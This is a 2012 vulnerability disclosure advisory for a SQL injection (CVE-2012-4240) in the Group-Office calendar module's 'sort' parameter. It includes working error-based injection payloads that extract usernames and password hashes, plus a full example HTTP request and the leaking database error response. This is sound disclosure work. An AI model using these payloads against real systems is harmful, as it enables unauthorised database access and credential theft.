Group-Office Calendar 4.0.88 SQL Injection

`/-------------------------------------\  
| Group-Office Calendar SQL Injection |  
\-------------------------------------/  
  
  
Summary  
=======  
  
Versions of Group-Office (a web app for online collaboration) prior to  
4.0.90 are subject to a SQL injection vulnerability located in the calendar  
module. A PHP file, used to serve data in the JSON format, does not  
sufficiently sanitise a user-supplied parameter injected into the ORDER BY  
part of an SQL query. An attacker can leverage this flaw to extract  
information from the database via SQL errors.  
  
CVE number: CVE-2012-4240  
Impact: High  
Vendor homepage: http://www.group-office.com/  
Vendor notified: 19/07/2012  
Credit: Chris Cooper and Joseph Sheridan  
Homepage: http://www.reactionpenetrationtesting.co.uk/  
  
This advisory is posted at:  
  
http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html  
  
  
Affected Products  
======== ========  
  
Confirmed in Group-Office community 4.0.71, 4.0.73 and 4.0.88. Other  
versions may also be affected.  
  
  
Details  
=======  
  
A 'sort' parameter on the page /modules/calendar/json.php was found to be  
subject to a SQL injection vulnerability. It was possible to inject  
arbitrary SQL statements into an ORDER BY clause, retrieving information  
from the database via an error message. The attacker must be authenticated  
as a valid user in order for the attack to be successful.  
  
Injecting the following SQL code into the 'sort' parameter will trigger the  
vulnerability, retrieving the first user's username. Changing 'username' to  
'password' retrieves their hashed password. For version 4.0.71:  
  
ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))  
  
Or for versions 4.0.73 and 4.0.88:  
  
id`,ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))#  
  
  
---  
Example Request (version 4.0.71):  
+--------------------------------  
  
POST /groupoffice/modules/calendar/json.php HTTP/1.1  
Host: 127.0.0.1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 162  
Cookie: groupoffice=tgocfuhoh7lrqo0mckfef4us04; GO_LANGUAGE=en_UK  
  
sort=ExtractValue(1,CONCAT(0x5c,(SELECT%20username%20FROM%20go_users%20LIMIT  
%201)))&dir=ASC&task=writable_views&limit=20&security_token=pfi5lckw3r9qm64n  
adgb  
  
  
---  
Example Response (version 4.0.71):  
+---------------------------------  
  
HTTP/1.1 200 OK  
Date: Fri, 20 Jul 2012 14:16:09 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Content-Length: 397  
Content-Type: text/html; charset=UTF-8  
  
{"feedback":"<b>Database error:<\/b> Invalid SQL: SELECT SQL_CALC_FOUND_ROWS  
v.* FROM cal_views v INNER JOIN go_acl a ON (v.acl_id = a.acl_id AND  
a.level>10 AND (a.user_id=1 OR a.group_id IN (1,2,3))) GROUP BY v.id ORDER  
BY ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) ASC  
LIMIT 0,20<br>\n<b>MySQL Error<\/b>: 1105 (XPATH syntax error:  
'\\admin')<br>\n","success":false}  
  
  
Impact  
======  
  
An authenticated attacker might be able to take control of the database  
within the context of the MySQL user, and potentially use this as leverage  
to further compromise the host machine.  
  
  
Solution  
========  
  
Upgrade to Group-Office community 4.0.90.  
  
  
Distribution  
============  
  
In addition to posting on the website, a text version of this notice has  
been posted to the following e-mail and Usenet news recipients.  
  
* bugtraq () securityfocus com  
* full-disclosure () lists grok org uk  
  
Future updates of this advisory, if any, will be placed on the ReactionIS  
corporate website, but may or may not be actively announced on mailing lists  
or newsgroups. Users concerned about this problem are encouraged to check  
the URL below for any updates:  
  
  
http://www.reactionpenetrationtesting.co.uk/group-office-sqli.html  
  
============================================================================  
==  
  
Reaction Information Security   
Lombard House Business Centre,  
Suite 117,  
12-17 Upper Bridge Street,  
Canterbury, Kent, CT1 2NF  
  
Phone: +44 (0)1227 785050  
Email: research () reactionis {dot} co {dot} uk  
Web: http://www.reactionpenetrationtesting.co.uk  
  
`